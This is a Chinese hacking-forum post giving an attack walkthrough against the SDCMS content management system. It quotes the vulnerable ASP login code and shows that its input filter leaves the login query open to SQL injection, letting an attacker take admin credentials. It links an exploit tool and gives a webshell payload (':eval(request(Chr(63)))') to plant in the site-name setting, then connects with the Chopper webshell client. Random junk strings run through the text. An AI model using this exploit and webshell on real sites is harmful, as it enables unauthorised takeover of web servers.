SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
* m3 @" ~# s& E9 ~1 u漏洞文件：后台目录/index.asp

Sub Check
$ n) w! w9 F) A5 u0 q    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
1 b5 b# m. ]9 Q% Y    code=Trim(Request.Form("yzm"))
; ^. I# |( {2 r- H    getcode=Session("SDCMSCode")
9 i' x! W9 m/ `+ M" h* B/ [    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
  s7 a  B6 Q6 W/ k; R    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
3 G2 _* N  f3 R( e' \+ p    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
1 h5 _/ i/ z+ R            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
  |; C/ q. \; G1 A8 t. e, y            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
. I4 X& J+ F1 w, H& x            IF Sdcms_DataType Then
; C/ b# P* l& ^+ ]4 w                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
6 Q/ v" Q: G; F& s: m3 V% I            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
' b/ O% h' t5 H6 `0 Y1 O$ u            End IF
            Go("sdcms_index.asp")
' q! t+ m* `3 O0 o/ U        End IF
        Rs.Close
        Set Rs=Nothing
! G$ v! Q+ h: y" E    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

8 p$ A/ `3 |  z2 q0 ^' j. dFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
4 i1 B7 k# d6 G5 z( n1 B    t0=Trim(t0)
    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
% m/ `+ P% r, I; {) c* [            t0=Replace(t0,Chr(13),"")
% Q7 x/ R: k. i' f            t0=Replace(t0,Chr(10)&Chr(10),"")
- b1 l! D: e& b4 h1 F( e1 ?% P+ `& K            t0=Replace(t0,Chr(10),"")
  @' ~. M4 _, n6 \        Case "2"
" h" a, ^0 i8 F+ Z            t0=Replace(t0,Chr(8),"")'回格
& V. z" t* U! k, v" W: Q$ Q. r- j            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* R/ k: i7 a; l  ?            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
. u/ z7 j* e) E# y) p            t0=Replace(t0,Chr(34),"")'"
$ X. O. k4 b7 h' {& V% V0 k1 M            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
/ J! Z# k2 u& W  O0 P2 t' |            t0=Replace(t0,Chr(37),"")'%
/ ], {! h7 H' v            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
. M3 [  A: C" h4 B5 y7 V1 J0 f            t0=Replace(t0,Chr(40),"")'(
1 X( q  [3 d$ q) Q5 n: r" x            t0=Replace(t0,Chr(41),"")')
' \3 t0 i! z1 O# `. P            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
8 i- @) k+ o4 f" |0 q/ D4 Y% M( X            t0=Replace(t0,Chr(44),"")',
) r% v0 |+ ^2 k4 v8 D            t0=Replace(t0,Chr(45),"")'-
/ l6 M: g# Y/ V+ r" S            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
# S+ o" e& P6 ]' [- m5 \            t0=Replace(t0,Chr(59),"")';
8 G2 i& `. A7 O            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
2 T/ h3 o$ H$ G* g; U/ y            t0=Replace(t0,Chr(63),"")'?
7 ^' Q' g2 M- t7 v! K            t0=Replace(t0,Chr(64),"")'@
! m* F0 X" g1 u2 H& Q! o1 B$ x            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
, `3 l* C2 c, X  ?  ]* t& }            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
2 B1 W: r9 A- f8 c: U4 z9 R. u3 h1 g" o            t0=Replace(t0,Chr(124),"")'|
7 ^8 S0 \8 r# h. B            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
8 L5 I" X* M* q$ u        t0=Replace(t0, "'", "'")
. G. e9 q. D/ l: g5 B        t0=Replace(t0, """", """)
8 C) _2 {% O( ?, @% O5 x        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
, R% ]: d0 T8 f    End Select
' e( ^7 v3 Y) M6 N+ _! t( E% d    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
9 W, d  z- N5 s* p    FilterText=t0
End Function

看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
! p) Y& d+ E: }' ]0 j                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
/ b1 h1 I& B/ t7 e3 s& ^")
                        t0=Replace(t0,Chr(10),"
4 b/ u1 l/ w+ N0 r0 m")
+ i+ E# j8 F, A  h& ^- v5 [, c) ?; Y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
7 [2 h9 Q( R% d
测试:

( C0 [% \8 V3 q
现在输入工具上验证码,然后点OK

& D  k6 R* G7 g4 F' e8 p
看到我们直接进入后台管理界面了,呵呵!
- B% E6 b" u1 _- m% Y5 z7 U0 f: _# L

9 V" R0 n0 c( B& `6 i* x. t2 e
这样直接进入后台了。。。。

: p& B$ |! H! j' c* _

3 G% l: o6 t5 f7 }0 H7 A; rSDCMS提权:
' N  S9 O* c9 \" n' s% p% O
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; _; H4 l* J0 O: a" `2 c- U' g
( K( Q5 E# a% R4 e5 e7 {
, m' G3 X0 g1 N, ^4 Z+ H$ E
OK,现在用菜刀连接下!
1 n! X, V! r. g

) I& w4 l' K8 ~4 {3 u

8 j+ _7 _" i+ V: ?4 T